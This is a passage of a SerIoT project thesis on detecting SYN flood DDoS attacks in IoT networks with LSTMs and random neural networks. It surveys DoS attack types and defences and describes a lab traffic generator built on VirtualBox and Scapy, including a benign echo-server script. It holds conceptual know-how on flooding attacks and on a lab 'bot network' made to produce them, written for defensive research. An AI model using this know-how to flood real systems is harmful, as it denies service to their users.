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ΠΕΡΙΛΗΨΗ  

Ο κυριότερος στόχος της εν λόγω εργασίας είναι η παρουσίαση καινοτόμων μεθόδων 

για την ανίχνευση επιθέσεων τύπου Distributed Denial of Service (DDoS) σε δίκτυα 

τύπου Internet of Things (IoT) σε επίπεδο δικτύου. Χρησιμοποιώντας την αλληλουχία 

των πακέτων του δικτύου που δέχεται ο εκάστοτε κόμβος ως δεδομένα, 

εκμεταλλευόμαστε τις τεράστιες δυνατότητες μοντελοποίησης που παρέχουν τα βαθιά 

νευρωνικά δίκτυα.  

Για την πραγματοποίηση της εργασίας χρειάστηκε ο σχεδιασμός και η υλοποίηση δύο 

βασικών εργαλείων. Σε πρώτο στάδιο υλοποιήθηκε ένας Traffic Generator για τη 

προσομοίωση καλόβουλης και κακόβουλης κίνησης και συλλογής των απαραίτητων 

δεδομένων. Σε επόμενο βήμα, τα δεδομένα που συλλέχτηκαν, χρησιμοποιήθηκαν για 

την εκπαίδευση βαθιών νευρωνικών αρχιτεκτονικών (LSTMs και Random Neural 

Networks) και τέλος αξιολογήθηκαν για την αποτελεσματικότητά τους. Τα 

αποτελέσματα έχουν δημοσιευτεί και στο PETRA Conference της ACM υπό τον τίτλο:  

«Neural network architectures for the detection of SYN flood attacks in IoT systems» 

 

 

 

 

  

https://dl.acm.org/doi/pdf/10.1145/3389189.3398000?accessTab=true
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Summary 

The basic premise of this work is the presentation of novel ways to detect IoT-related 

attacks (Denial of Service attacks) on the network level from raw packet captures 

employing the immense modelling capabilities of deep learning and deep neural 

networks.  

In that sense, the provenance part is mostly related to identifying the potentiality for 

malicious purpose or intention of specific traffic flows, so we view the idea of 

provenance not generically, but more in the context of investigating the intentions 

behind particular flows. 

Moreover, in the process of attack detection using deep learning, we identified a 

particular issue which is very common for IoT/cybersecurity research. The problem 

was that, the datasets of raw traffic captures that encompass patterns of certain types of 

attacks are not publicly available (most of the times they are strictly confidential), so it 

is quite difficult to train the deep learning models for finding the abnormalities in data 

captures. Therefore, we created a generator of both benign and malicious traffic to 

gather raw packet captures and annotate them for training. In particular, the malicious 

traffic constitutes SYN-TCP flood attack, which is a pretty common way of launching 

distributed Denial of Service attacks on critical IoT infrastructure. 
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1.Cybersecurity and IoT security 
 

The research area of network security is, and has been for many years, focused on the 

idea of preventing the interception of critical information and the case where some 

entity acquires authority or credentials where they actually should not. These concepts 

of particular attacks or malicious activity have been thoroughly researched, and 

elaborate solutions for security have been proposed.  

On the other hand, the emergence of the Internet of Things (IoT), where the traditional 

networking part really enables many applications related to networks comprised from 

actuators and sensors, has created a new landscape of possible malicious activities, 

where the potential attacker does not, solely, intend to intercept information or gain 

authority, but they can prevent the service of the network to be provided to their end 

user. This is the concept of Denial-of-Service attacks, and this is the area of security 

that we extensively focus on, in this deliverable and our work in the context of SerIoT 

project. 

 

1.1 State of the Art 
 

Network security, including IoT is a constantly expanding field. More and more 

attention is being paid in advancing the security systems and strategies as intruders 

develop new ways of surpassing the existing security protocols.  

 

Communication in the IoT should be protected by providing security services. By using 

standardized security mechanisms we can provide communication security at different 

layers.  

 

• Link Layer: IEEE 802.15.4 Security: link layer. 802.15.4 link-layer security is the 

current state-of-the-art security solution for the IoT. The link-layer security protects a 

communication on a per-hop base where every node in the communication path has to 

be trusted. A single pre-shared key is used to protect all communication. In normal case 

if an attacker compromised one device and access to one key it means whole network 

will be compromised, but in this link-layer as its per-hop security only one hop/device 

will be compromised and it can be detected at initial state. Still, link-layer security is 

limited, but it’s quite flexible which operate with multiple protocols on different layers.  

 

• 6LoWPAN networks: IPv6 used on sensor node to simplify the connecting task, and 

it’s quite successful, especially in all LoWPAN devices. IPv6 can be used in IoT as it 

also supports development for commissioning, managing, configuring and debugging 

networks. The IETF (Internet Engineering Task Force) created the 6LoWPAN working 

group to define the support of IPv6 over IEEE 802.15.4 LoWPAN networks which is 

defined by an additional adaptation layer introduced between data link and network 

layers. There are three different kinds of LoWPAN architectures types were defined, 

a) Ad-hoc LoWPAN, with no infrastructure b) LoWPAN, with one edge router and c) 

LoWPAN with multiple edge routers.  

 

• Network Layer: IP Security: As IoT is basically implemented on the Internet, it uses 

network IP Security (IPsec) provided by Network layer. IPsec provides end to end 

security with authentication as well as confidentiality and integrity. By operating at the 

network layer, IPsec can be used with any transport layer protocol, including TCP, 

UDP, HTTP, and CoAP. IPsec ensures the confidentiality and integrity of the IP 

payload using the Encapsulated Security Payload (ESP) protocol, and integrity of the 
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IP header plus payload using the Authentication Header (AH) protocol. Now in IPsec 

is mandatory in all IPv6 protocol means all IPv6 ready devices by default have IPsec 

support. 

 

• 1905.1 Abstraction Layer: With the increase of home care solution, the fact that every 

device is connected with the Internet, made wired and wireless home networking a hot 

topic. To address a wide variety of application, regions, environments and topologies, 

multiple connectivity technologies should be used. As with any network deployment, 

many problems need to be addressed for the network. 

 

 

 
Figure 1 6LowPAN adaptation layer 

 

The design of IEEE 1905.1 is flexible and scalable to accommodate future home 

networking technologies. The 1905.1 Abstraction Layer (AL) supports interface 

selection for the transmission of packets arriving from any interface or application. 

The 1905.1 layer does not require modification of the underlying home networking 

technologies and hence does not change the behaviour or implementation of 

existing home networking technologies. An abstraction layer is used to exchange 

Control Message Data Unit (CMDU) among 1905.1 compliant devices 
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Figure 2 Security framework for 6LowPAN 

 

 

Data Security  

 
Even though the work presented in the context of the present deliverable focuses mainly 

on the aspect of cybersecurity related to denial of service, we consider important to 

mention some state-of-the art developments in the area of secure information exchange 

and interception of intelligence, which constitutes more conventional areas of the 

cybersecurity field. 

Securing communication is really important in IoT, but it is not uncommon for people 

and organisations involved to forget about securing data which are generated from all 

IoT devices. Most of the devices in IoT are small and don’t have enough capacity, due 

to limited size, to secure themselves from threats related to hardware. There exist 

several solutions, but due to different communication technology protocols, one 

solution may not be enough to secure everything. 

 

There are many companies, working towards security standards and providing better 

interface where the user can get secure communication, secure access to devices and 

secure data transfer and storage. In IoT, most of the hardware has limited capability, 

and DTLS handshake is still an acceptable solution.  

 

To handle security challenges in IoT, specific mechanisms  need to be designed on the 

device. With device security, the risk of data theft and unauthorized access can be 

reduced. Especially for the medical devices if data are stolen, it can lead to some serious 

consequences. Manufacturers should build inbuilt security features in device. 

Moreover, the device security should be updated regularly. Building security in the 
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device alone will not provide full security in IoT, but it will definitely reduce the risk. 

In IoT, security needs to be addressed throughout its cycle. Secure booting, proper 

access control, secure authentication and secure application interface need to develop 

to make sure the whole process is secure. As we discussed in the previous section, the 

Internet was only designed for communication and not for millions of devices to 

connect together. In future, the number IoT device will be increased, and it all depends 

on how to manage device security on every stage. Therefore, it is paramount to find 

specific standards and mechanisms to provide IoT security. 

 

1.2. Beyond State-of-the-Art IoT Security 
 

With the emerging of IoT technologies and environments in multiple vertical domains, 

cybersecurity become of great importance. The sensor (proximity layer of the IoT 

network) consists of nodes-devices with extremely limited capabilities and recourses. 

In the context of classic cybersecurity research, even though denial of service attacks 

have been considered, they are not the main concern. This rightfully so happens because 

in conventional computer networks the probable target of a DDoS attack is most likely 

a powerful server or data center. In contrary, in IoT networks the victim might be a 

powerless sensor or actuator which actually performs a very critical task. Along with 

the emerging of IoT the high modeling capability of deep neural networks has 

constituted them to be a really important scientific and engineering tool. 

 

For sure deep learning has been  used for cybersecurity applications in general and in 

the context of Denial of service attack prevention in particular. To the best of our 

knowledge, conventional deep neural network architectures have been employed as 

classifiers for detecting DDoS attacks (distinguishing malicious and benign traffic). 

The beyond the state of the art contribution of the work described in this deliverable is 

twofold. Firstly the feed-forward version of the random neural network architecture has 

been used (Random neural Networks are mostly defined in a recurrent fashion). 

Secondarily, a regression model is being introduced as a tool for detecting DDoS 

attacks rather than a cluster in a model or a classifier. 

 

2. The landscape of Denial-of-Service attacks  

Denial of Service (DoS) attacks are undoubtedly a very serious problem in the Internet, 

whose impact has been well demonstrated in the computer network literature. The main 

aim of a DoS is the disruption of services by attempting to limit access to a machine or 

service instead of subverting the service itself. This kind of attack aims at rendering a 

network incapable of providing normal service by targeting either the networks 

bandwidth or its connectivity. These attacks achieve their goal by sending at a victim a 

stream of packets that swamps his network or processing capacity denying access to his 

regular clients. In the not so distant past, there have been some large-scale attacks 

targeting high profile Internet sites [24][25]. Distributed Denial of Service (DDoS), is 

a relatively simple, yet very powerful technique to attack Internet resources. DDoS 

attacks add the many-to-one dimension to the DoS problem making the prevention and 

mitigation of such attacks more difficult and the impact proportionally severe. DDoS 

exploits the inherent weakness of the Internet system architecture, its open resource 

access model, which ironically, also happens to be its greatest advantage. DDoS attacks 

are comprised of packet streams from disparate sources. These attacks engage the 
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power of a vast number of coordinated Internet hosts to consume some critical resource 

at the target and deny the service to legitimate clients. The traffic is usually so 

aggregated that it is difficult to distinguish legitimate packets from attack packets. More 

importantly, the attack volume can be larger than the system can handle. Unless special 

care is taken, a DDoS victim can suffer from damages ranging from system shutdown 

and file corruption, to total or partial loss of services. There are no apparent 

characteristics of DDoS streams that could be directly used for their detection and 

filtering. The attacks achieve their desired effect by the sheer volume of attack packets, 

and can afford to vary all packet fields to avoid characterization and tracing. Extremely 

sophisticated, ‘‘user-friendly’’ and powerful DDoS toolkits are available to potential 

attackers increasing the danger of becoming a victim in a DoS or a DDoS attack. DDoS 

attacking programs have very simple logic structures and small memory sizes, making 

them relatively easy to implement and hide. Attackers constantly modify their tools to 

bypass security systems developed by system managers and researchers, who are in a 

constant alert to modify their approaches to handle new attacks. The DDoS field is 

evolving quickly, thus becoming increasingly hard to grasp a global view of the 

problem. Although there is no panacea for all flavours of DDoS, there are several 

countermeasures that focus on either making the attack more difficult or on making the 

attacker accountable. We will also try to introduce some structure to the DDoS field by 

presenting the state-of-the-art in the field through a classification of DDoS attacks and 

a classification of the defence mechanisms that can be used to combat these attacks. 

The classification of attacks includes both known and potential attack mechanisms. In 

each attack category, we define special and important features and characteristics. We 

also classify published approaches of defence mechanisms, and even though we point 

out vulnerabilities of certain defence systems, our purpose is not criticizing the defence 

mechanisms but to describe the existing problems so that they might be solved. 

 

 2.1. Defining DoS attacks 

According to the WWW Security FAQ [26], a DoS attack can be described as an attack 

designed to render a computer or network incapable of providing normal services. A 

DoS attack is considered to take place only when access to a computer or network 

resource is intentionally blocked or degraded as a result of malicious action taken by 

another user. These attacks don’t necessarily damage data directly or permanently, but 

they intentionally compromise the availability of the resources. The most common DoS 

attacks target the computer networks bandwidth or connectivity. Bandwidth attacks 

flood the network with such a high volume of traffic that all available network resources 

are consumed, and legitimate user requests cannot get through, resulting in degraded 

productivity. Connectivity attacks flood a computer with such a high volume of 

connection requests that all available operating system resources are consumed, and the 

computer can no longer process legitimate user requests. 

A denial-of-service attack (DoS attack) is typically accomplished by flooding the 

targeted machine or resource [1] with superfluous requests in an attempt to overload 

systems and prevent some or all legitimate requests from being fulfilled. In a distributed 

denial-of-service attack (DDoS attack), the incoming traffic flooding the victim 

originates from many different sources, making it impossible to stop the attack simply 

by blocking a single source. 

Some DoS attacks aim at remotely stopping a service on the victim host. 
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The basic method for remotely stopping a service is to send a malformed packet. 

Below, are two standard examples of this type of attacks: 

 

- Ping-of-Death attack: The attacker tries to send an oversized ping packet to 

the destination with the hope to bring down the destination system due to the 

systems lack of ability to handle huge ping packets. 

- Jolt2 attack: The attacker sends a stream of packet fragments, none of which 

have a fragment offset of zero. The target host exhausts its processor capacity 

in trying to rebuild these bogus fragments  

 

Other well-known examples of this type of attacks include Land attacks, 

 

- TCP SYN attacks: This type of attacks exploits a flaw in some 

implementations of the TCP three-way handshake. When a host receives the 

SYN request from another host, it must keep track of the partially opened 

connections in a listening queue for a given number of seconds. The attacker 

exploits the small size of the listen queue by sending multiple SYN requests to 

the victim, never replying to the sent back SYN_ACK. The victim’s listening 

queue is quickly filled up, and it stops accepting new connections. 

- UDP flood attack: The attacker sends many UDP packets to random ports on 

a remote host. The victim checks for the application listening on this port. After 

seeing that no application listens on the port, it replies with an ICMP Destination 

Unreachable packet. In this way, the victimized system is forced to send many 

ICMP packets, eventually leading it to be unreachable by other clients, or even 

to go down  

 

Another category of typical IoT attacks that target to inhibit the networks ability to 

perform the accustomed service to the end user is the Denial-of-sleep attacks [2]. In the 

context of the Internet of Things, low-rate wireless personal area networks are a 

prevalent solution for communication among devices. Tight limitations on hardware 

cost, memory use and power consumption have given rise to several security 

vulnerabilities, including traffic eavesdropping, packet replay, and collision attacks, 

straightforward to conduct. A simple form of attack is to deplete the energy available 

to operate the wireless sensor nodes [3,4,5]. For instance, vampire attacks are routing-

layer resource exhaustion attacks aiming at draining the whole life (energy) from 

network nodes, hence their name [6]. In this section, we shall focus on another form of 

energy attacks, which are MAC-layer attacks known as Denial-of-Sleep attacks. Below 

are some examples of denial-of-sleep attacks: 

 

- Sleep deprivation attack: The ability of a sensor node to enter a low power 

sleep mode is very useful for extending network longevity. The attacker 

launches a sleep deprivation attack by interacting with the victim in a manner 

that appears to be legitimate; however, the purpose of the interactions is to keep 

the victim node out of its power-conserving sleep mode, thereby dramatically 

reducing its lifetime [7,8,9] 

- Barrage attack: As in the sleep deprivation attack, the attacker seeks to keep 

the victim out of its sleep mode by sending seemingly legitimate requests. 

However, the requests are sent at a much higher rate and aim at making the 

victim perform energy-intensive operations. Barrage attacks are more easily 
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detected than sleep deprivation attacks, which are carried out solely through the 

use of seemingly innocent interactions. 
 

Broadcast attack: Malicious nodes can broadcast unauthenticated traffic and long 

messages which must be received by other nodes before being possibly discarded for 

lack of authentication. These types of malicious activity are difficult to detect because 

they do not necessarily affect the throughput of the system and they focus on 

exhausting the energy of certain nodes 

 

2.2. DoS attack classification 

DoS attacks can be classified into five categories based on the attacked protocol level, 

as illustrated in Fig. 3 

 

 

Figure 3 Classification of Remote Denial of Service attacks. 

 

DoS attacks in the Network Device Level include attacks that might be caused either 

by taking advantage of bugs or weaknesses in software, or by trying to exhaust the 

hardware resources of network devices. One example of a network device exploit is the 

one that is caused by a buffer overrun error in the password checking routine. Using 

these exploits, certain Cisco 7xx routers could be crashed by connecting to the routers 

via telnet and entering extremely long passwords. In the OS level, DoS attacks take 

advantage of the ways operating systems implement protocols. One example of this 

category of DoS attacks is the Ping of Death attack [27]. In this attack, ICMP echo 

requests having total data sizes greater than the maximum IP standard size are sent to 

the targeted victim. This attack often has the effect of crashing the victims machine. 

Application-based attacks try to settle a machine or a service out of order either by 

taking advantage of specific bugs in network applications that are running on the target 

host or by using such applications to drain the resources of their victim. It is also 

possible that the attacker may have found points of high algorithmic complexity and 

exploits them in order to consume all available resources on a remote host. One example 

of an application based attack is the finger bomb [28]. A malicious user could cause the 

finger routine to be recursively executed on the hostname, potentially exhausting the 
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resources of the host. In data flooding attacks, an attacker attempts to use the bandwidth 

available to a network, host or device at its greatest extent, by sending massive 

quantities of data and so causing it to process extremely large amounts of data. An 

attacker could attempt to use up the available bandwidth of a network by simply 

bombarding the targeted victim with normal, but meaningless packets with spoofed 

source addresses. An example is flood pinging. Simple flooding is commonly seen in 

the form of DDoS attacks, which will be discussed later. DoS attacks based on protocol 

features take advantage of certain standard protocol features. For example, several 

attacks exploit the fact that IP source addresses can be spoofed. Several types of DoS 

attacks have focused on DNS, and many of these involve attacking DNS cache on name 

servers. An attacker who owns a name server may coerce a victim name server into 

caching false records by querying the victim about the attacker’s own site. A vulnerable 

victim name server would then refer to the rogue server and cache the answer [29]. 

 

 

Figure 4 Classification of DDoS attacks. 

 

 

 

 

2.3 DDoS defence problems and classification  

DDoS attacks are a hard problem to solve. First, there are no common characteristics 

of DDoS streams that can be used for their detection. Furthermore, the distributed 

nature of DDoS attacks makes them extremely difficult to combat or trace back. 

Moreover, the automated tools that make the deployment of a DDoS attack possible 

can be easily downloaded. Attackers may also use IP spoofing in order to hide their 

identity, and this makes the traceback of DDoS attacks even more difficult. Finally, 

there is no sufficient security level on all machines on the Internet, while there are 

persistent security holes in Internet hosts. We may classify DDoS defence mechanisms 

using two different criteria. The first classification categorizes the DDoS defence 

mechanisms according to the activity deployed. Thus, we have the following four 

categories:  
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• Intrusion Prevention,  

• Intrusion Detection,  

• Intrusion Tolerance and Mitigation, and  

• Intrusion Response.  

The second classification divides the DDoS defences according to the location 

deployment resulting in the following three categories of defence mechanisms:  

• Victim Network,  

• Intermediate Network, and  

• Source Network.  

Our classification of DDoS mechanisms is illustrated in Fig. 4. In the following, we 

discuss extensively the techniques used in each of the categories of the first 

classification and just refer to the DDoS defences and the way they are categorized for 

the last classification. 

Our focus was the development of methodologies for detecting the most common type 

of Denial of Service attack, which is the SYN TCP flood attack, which actually really 

prevalent in IoT environments. Intuitively, when dealing with IoT the proximity 

network side is really vulnerable since it is comprised by devices with very low 

capabilities and resources which, though handle critical functionalities. In this specific 

case, the attacker exploits the TCP 3-WAY handshake. According to the TCP 

communication protocol, the client should send a SYN message to the server to initiate 

the socket for message exchanging. The server answers with a SYN ACK message, and 

finally the communication is complete and established when the client sends the final 

ACK message, which solidifies the open connection between the two nodes.  

In the case where a SYN TCP flood attack is being launched, the malicious client sends 

too many SYN messages to the target (to all the available TCP ports), but when they 

receive the SYN ACK messages, they never respond with the associated ACK 

messages. So, the server is left waiting for some period of time. This results in inhibiting 

the server’s ability to handle new requests and the service provided is being stalled.  

 

 

2.4 Classification by activity  

2.4.1 Intrusion prevention 

The best mitigation strategy against any attack is to completely prevent the attack. In 

this stage we try to stop DDoS attacks from being launched in the first place. There are 

many DDoS defence mechanisms that try to prevent systems from attacks: Using 

globally coordinated filters, attacking packets can be stopped, before they aggregate to 

lethal proportions. Filtering mechanisms can be divided into the following categories: 

Ingress filtering is an approach to set up a router such that to disallow incoming packets 

with illegitimate source addresses into the network. Ingress filtering, proposed by 

Ferguson and Senie [30], is a restrictive mechanism to drop traffic with IP address that 

does not match a domain prefix connected to the ingress router. This mechanism can 
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drastically reduce the DoS attack by IP spoofing if all domains use it. Sometimes 

legitimate traffic can be discarded by an ingress filtering when Mobile IP [31] is used 

to attach a mobile node to a foreign network. Egress filtering [32] is an outbound filter, 

which ensures that only assigned or allocated IP address space leaves the network. 

Egress filters do not help to save resource wastage of the domain where the packet 

originated but it protects other domains from possible attacks. Besides the placement 

issue, both ingress and egress filters have similar behaviour. Route-based distributed 

packet filtering has been proposed by Park and Lee [33]. This approach is capable of 

filtering out a large portion of spoofed IP packets and preventing attack packets from 

reaching their targets as well as to help in IP traceback. Route-based filters use the route 

information to filter out spoofed IP packets, making this their main difference from 

ingress filtering. If route-based filters are partially deployed, a synergistic filtering 

effect is possible, so that spoofed IP flows are prevented from reaching other 

Autonomous Systems. Furthermore, since routes on the Internet change with time [34] 

it is a great challenge for route-based filters to be updated in real time. The main 

disadvantage of this approach is that it requires global knowledge of the network 

topology leading to scalability issues. History-based IP filtering (HIP) is another 

filtering mechanism that has been proposed by Peng et al. [35] in order to prevent DDoS 

attacks. According to this approach the edge router admit the incoming packets 

according to a pre-built IP address database. The IP address database is based on the 

edge routers previous connection history. This scheme is robust, does not need the 

cooperation of the whole Internet community, is applicable to a wide variety of traffic 

types and requires little configuration. On the other hand, if the attackers know that the 

IP packet filter is based on previous connections, they could mislead the server to be 

included in the IP address database. This can be prevented by increasing the period over 

which IP addresses must appear in order to be considered frequent. Secure Overlay 

Services (SOS) [36] is an architecture in which only packets coming from a small 

number of nodes, called servlets, are assumed to be legitimate client traffic that can 

reach the servlets through hash-based routing inside an overlay network. All other 

requests are filtered by the overlay. In order to gain access to the overlay network, a 

client has to authenticate itself with one of the replicated access points (SOAPs). SOS 

is a distributed system that offers excellent protection to the specified target at the cost 

of modifying client systems, so it is not suitable for protection of public servers. 
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Figure 5 Classification of DDoS defence mechanisms..  

 

Disabling unused services [36] is another approach in order to prevent DDoS attacks. 

If UDP echo or character generator services are not required, disabling them will help 

to defend against these attacks. In general, if network services are not needed or unused, 

the services should be disabled to prevent attacks. Applying security patches [36], can 

armour the hosts against DDoS attacks. The host computers should update themselves 

with the latest security patches for the bugs present and use the latest techniques 

available to minimize the effect of DDoS attack. Changing IP address, is another simple 

solution to a DDoS attack in order to invalidate the victim computers IP address by 

changing it with a new one. This is called moving target defence. Once the IP address 

change is completed all Internet routers will have been informed, and edge routers will 

drop the attacking packets. Although this action leaves the computer vulnerable because 

the attacker can launch the attack at the new IP address, this option is practical for local 

DDoS attacks, which are based on IP addresses. On the other hand, attackers can render 

this technique a futile process by adding a domain name service tracing function to the 

DDoS attack tools. By disabling IP broadcasts [36], host computers can no longer be 

used as amplifiers in ICMP Flood and Smurf attacks. However, a defence against this 

attack will be successful only if all the neighbouring networks disable IP broadcasts. 

Load balancing is a simple approach that enables network providers to increase the 
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provided bandwidth on critical connections and prevent them from going down in the 

event of an attack. Additional failsafe protection can be the use of replication of servers 

in the case some go down during a DDoS attack. Furthermore, in a multiple-server 

architecture the balance of the load is necessary so that both the improvement of normal 

performance as well as the prevention or mitigation of the effect of a DDoS attack can 

be achieved. Honeypots [37] can also be used in order to prevent DDoS attacks. 

Honeypots are systems that are set up with limited security and can be used to trick the 

attacker to attack the honeypot and not the actual system. Honeypots typically have 

value not only in protecting systems, but they can also be used in order to gain 

information about attackers by storing a record of their activity and learning what types 

of attacks and software tools the attacker is using. Current research discusses the use of 

honeypots that mimic all aspects of a legitimate network (such as web servers, mail 

servers, clients, etc.) in order to attract potential DDoS attackers. The idea is to lure the 

attacker into believing that he has compromised the system (e.g. honeypot) for attack 

as its slave and attract him to install either a handler or agent code within the honeypot. 

This prevents some legitimate systems from getting compromised, tracks the handler 

or agent behaviour and allows the system to better understand how to defend against 

future DDoS installation attacks. However, this scheme has several drawbacks. First, 

the method assumes that the attack must be detectable using signature-based detection 

tools. If not, the packet is forwarded to the destination in operational networks. 

Furthermore, the attacker can easily thwart the static and passive nature of honeypots 

approach since the approach is static and passive in the sense that it is not a dynamically 

moving scheme with complete disguise. Prevention approaches offer increased security 

but can never completely remove the threat of DDoS attacks because they are always 

vulnerable to new attacks for which signatures and patches do not exist in the database. 

 

2.4.2 Intrusion detection  

Intrusion detection has been a very active research area. By performing intrusion 

detection, a host computer and a network can guard themselves against being a source 

of network attack as well as being a victim of a DDoS attack. Intrusion detection 

systems detect DDoS attacks either by using the database of known signatures or by 

recognizing anomalies in system behaviours. Anomaly detection relies on detecting 

behaviours that are abnormal with respect to some normal standard. Many anomaly 

detection systems and approaches have been developed to detect the faint signs of 

DDoS attacks. 

 

A scalable network monitoring system called NOMAD has been designed by Talpade 

et al. [38]. This system is able to detect network anomalies by making statistical 

analysis of IP packet header information. It can be used for detecting the anomalies of 

the local network traffic and does not support a method for creating the classifier for 

the high-bandwidth traffic aggregate from distributed sources. Another detection 

method of DDoS attack uses the Management Information Base (MIB) data from 

routers. The MIB data from a router includes parameters that indicate different packet 

and routing statistics. Cabrera et al. [39] has focused on identifying statistical patterns 

in different parameters, in order to achieve the early detection of DDoS attacks. It looks 

promising for possibly mapping ICMP, UDP and TCP packet statistical abnormalities 
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to specific DDoS attacks. Although this approach can be effective for controlled traffic 

loads, it needs to be further evaluated in a real network environment. This research area 

could provide important information and methods that can be used in the identification 

and filtering of DDoS attacks. A mechanism called congestion triggered packet 

sampling and filtering has been proposed by Huang and Pullen [40]. According to this 

approach, a subset of dropped packets due to congestion is selected for statistical 

analysis. If an anomaly is indicated by the statistical results, a signal is sent to the router 

to filter the malicious packets. Lee and Stolfo [41] use data mining techniques to 

discover patterns of system features that describe program and user behaviour and 

compute a classifier that can recognize anomalies and intrusions. This approach focuses 

on the host-based intrusion detection. An improvement of this approach is a meta-

detection model, which uses results from multiple models to provide more accurate 

detection. Mirkovic et al. [42] proposed a system called DWARD that does DDoS 

attack detection at the source based on the idea that DDoS attacks should be stopped as 

close to the sources as possible. D-WARD is installed at the edge routers of a network 

and monitors the traffic being sent to and from the hosts in its interior. If an asymmetry 

in the packet rates generated by an internal host is noticed, D-WARD rate limits the 

packet rate. The drawback of this approach is that there is a possibility of numerous 

false positives while detecting DDoS conditions near the source, because of the 

asymmetry that there might be in the packet rates for a short duration. Furthermore, 

some legitimate flows like real time UDP flows do exhibit asymmetry. In [43] Gil and 

Poletto proposed a heuristic data-structure (MULTOPS), which postulates if the 

detection of IP addresses that participate in a DDoS attack is possible, then measures 

are taken to block only these addresses. Each network device maintains a multi-level 

tree that contains packet rate statistics for subnet prefixes at different aggregation levels. 

MULTOPS uses disproportionate rates to or from hosts and subnets to detect attacks. 

When it stores the statistics based on source addresses, it is said to operate in attack-

oriented mode, otherwise in the victim-oriented mode. A MULTOPS data structure can 

thus be used for keeping track of attacking hosts or hosts under attack. When the packet 

rate to or from a subnet reaches a certain threshold, a new sub-node is created to keep 

track of finer––grained packet rates. This process can go till finally per IP address 

packet rates are being maintained. Therefore, starting from a coarse granularity one can 

detect with increasingly finer accuracy, the exact attack source or destination addresses. 

The IP source addresses that are obtained are spoofed addresses but can still be valuable 

in applying rate limits. Among the disadvantages of this approach, is that it requires 

router reconfiguration and new memory management schemes. Furthermore, it cannot 

prevent proportional attacks nor can it detect randomized forged IP addresses 

originating from a single machine or DDoS attacks that use many zombies. Misuse 

detection identifies well-defined patterns of known exploits and then looks out for the 

occurrences of such patterns. Intrusion patterns can be any packet features, conditions, 

arrangements and interrelationships among events that lead to a break-in or other 

misuse. These patterns are defined as intrusion signatures.  

2.5 Syn-TCP Flood attacks 
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Figure 6:example of SYN attack 

 

The significance of finding the remedy to this specific IoT attack is prevalent if one 

considers the fact that the TCP protocol is being used for facilitating the communication 

in many parts of the network in IoT setups and this attack is so easily launched. It can 

affect all the critical parts of the network, from the controller to the fog, from the edge 

to the actual sensor network. It can also be used to harm the actual infrastructure of the 

network because a possible attack on the hub that controls the actuators can create 

physical damage to the equipment. So, we focused on the very “meat and potatoes” of 

a possible malicious activity related to stopping the delivery of service in IoT  

 

3.SerIoT Traffic Generation 
 

In the process of trying to collect datasets of traffic that contain the launching of SYN 

TCP attacks we ran on a very spread and well-known issue of the field. These types of 

attacks are usually launched, and therefore captured, on large scale commercial 

networks and the associated companies are not particularly prone to provide access on 

these datasets because of specific policies related to confidentiality.  

We had to overcome this issue and to do so we emphasized on creating a software 

component that produces both normal IoT network traffic and traffic that manifests 

SYN flood attacks. We also created a bot network where this attack could be launched 

so that the traffic could be captured, and we can collect indicative datasets for training. 

 

3.1 Tools used 
 

The Generator was implemented in a virtual IoT environment where every IoT node 

had the credentials to establish connections with the rest of the existing nodes.  

 

Tools that were needed for the Generator’s implementation: 

• VirtualBox for the creation of IoT nodes. 

• Python script for setting up: 

1. a server node 

2. a client node (Benign traffic generator) 
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3. an ambiguous node that generates alternating traffic (both benign and 

malicious generator)  

• Scapy python module for the crafting of packets 

 

3.2 Scapy Python Package  
 

Scapy is a Python module full of packages that enable the user to send, sniff and dissect 

and forge network packets. This capability allows construction of tools that can probe, 

scan or attack networks[10]. 

 

The use of scapy was extensive for both the preparation of the botnet and the writing 

of the scripts for traffic monitoring and packet creation. 

 

 

 

 

 
Figure 7:crafting packets with scapy[10] 

 

 

3.3 Creation of the Bot Network 
 

For the creation of a virtual network, we used VirtualBox. At first, we created a bunch 

of VMs that run on Ubuntu 18.04 64b distribution. At first those VMs were unable to 

communicate with the outside world (Internet) nor with each other so we created a NAT 

network to address the issue of limited connectivity to the Internet. After that we created 

a local network between the host machine and the 2 VMs. For simplicity and for the 

rest of the description let us assume that VM1 (VM-1) and VM2 (VM-2) are both 

clients and VMs (VM-s) is the virtual server.  Next step was to give those machines a 

static IP to accommodate the communication between them. In detail the clients’ IP 
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address was decided to be “192.168.56.101” and “192.168.56.102” respectively, while 

the server’s IP “192.168.56.100”. 

 

general specifications: 

● all scripts are developed in python 3  

● generator was tested and can be successfully used in linux operating systems 

(tested on 18.03 ubuntu distribution) 

our scripts generate TCP communications (benign or malicious) so it is important to be 

used on nodes that support TCP protocol 

 

 
Figure 8:botnet 

 

 

3.4 Server Node set up 
 

An IoT node of our network that plays the role of the server (in our case VMs) will 

have to be running in the background the python script: server.py 

 

This script should be running on the target node in order to be able to communicate 

with the client nodes. (It works as a socket server). 

 

arguments: 

<Server IP> which is the target’s IP 

<Server port> which is the Sserver’sport 

 

server.py: 

 
#!/usr/bin/env python3 

 

import sys 

import socket 

import selectors 

import types 

 

sel = selectors.DefaultSelector() 
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def accept_wrapper(sock): 

    conn, addr = sock.accept()  # Should be ready to read 

    print("accepted connection from", addr) 

    conn.setblocking(False) 

    data = types.SimpleNamespace(addr=addr, inb=b"", outb=b"") 

    events = selectors.EVENT_READ | selectors.EVENT_WRITE 

    sel.register(conn, events, data=data) 

 

 

def service_connection(key, mask): 

    sock = key.fileobj 

    data = key.data 

    if mask & selectors.EVENT_READ: 

        recv_data = sock.recv(1024)  # Should be ready to read 

        if recv_data: 

            data.outb += recv_data 

        else: 

            print("closing connection to", data.addr) 

            sel.unregister(sock) 

            sock.close() 

    if mask & selectors.EVENT_WRITE: 

        if data.outb: 

            print("echoing", repr(data.outb), "to", data.addr) 

            sent = sock.send(data.outb)  # Should be ready to write 

            data.outb = data.outb[sent:] 

 

 

if len(sys.argv) != 3: 

    print("usage:", sys.argv[0], "<host> <port>") 

    sys.exit(1) 

 

host, port = sys.argv[1], int(sys.argv[2]) 

lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

lsock.bind((host, port)) 

lsock.listen() 

print("listening on", (host, port)) 

lsock.setblocking(False) 

sel.register(lsock, selectors.EVENT_READ, data=None) 

 

try: 

    while True: 

        events = sel.select(timeout=None) 

        for key, mask in events: 

            if key.data is None: 

                accept_wrapper(key.fileobj) 

            else: 

                service_connection(key, mask) 

except KeyboardInterrupt: 

    print("caught keyboard interrupt, exiting") 

finally: 

   sel.close() 

 

 

 

 

3.5 Non-Malicious Client set up 
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An IoT node of our network that plays the role of the benign client (in our case VM1) 

will have to be running in the background the python script: Advanced_b9generator.py 

 

 

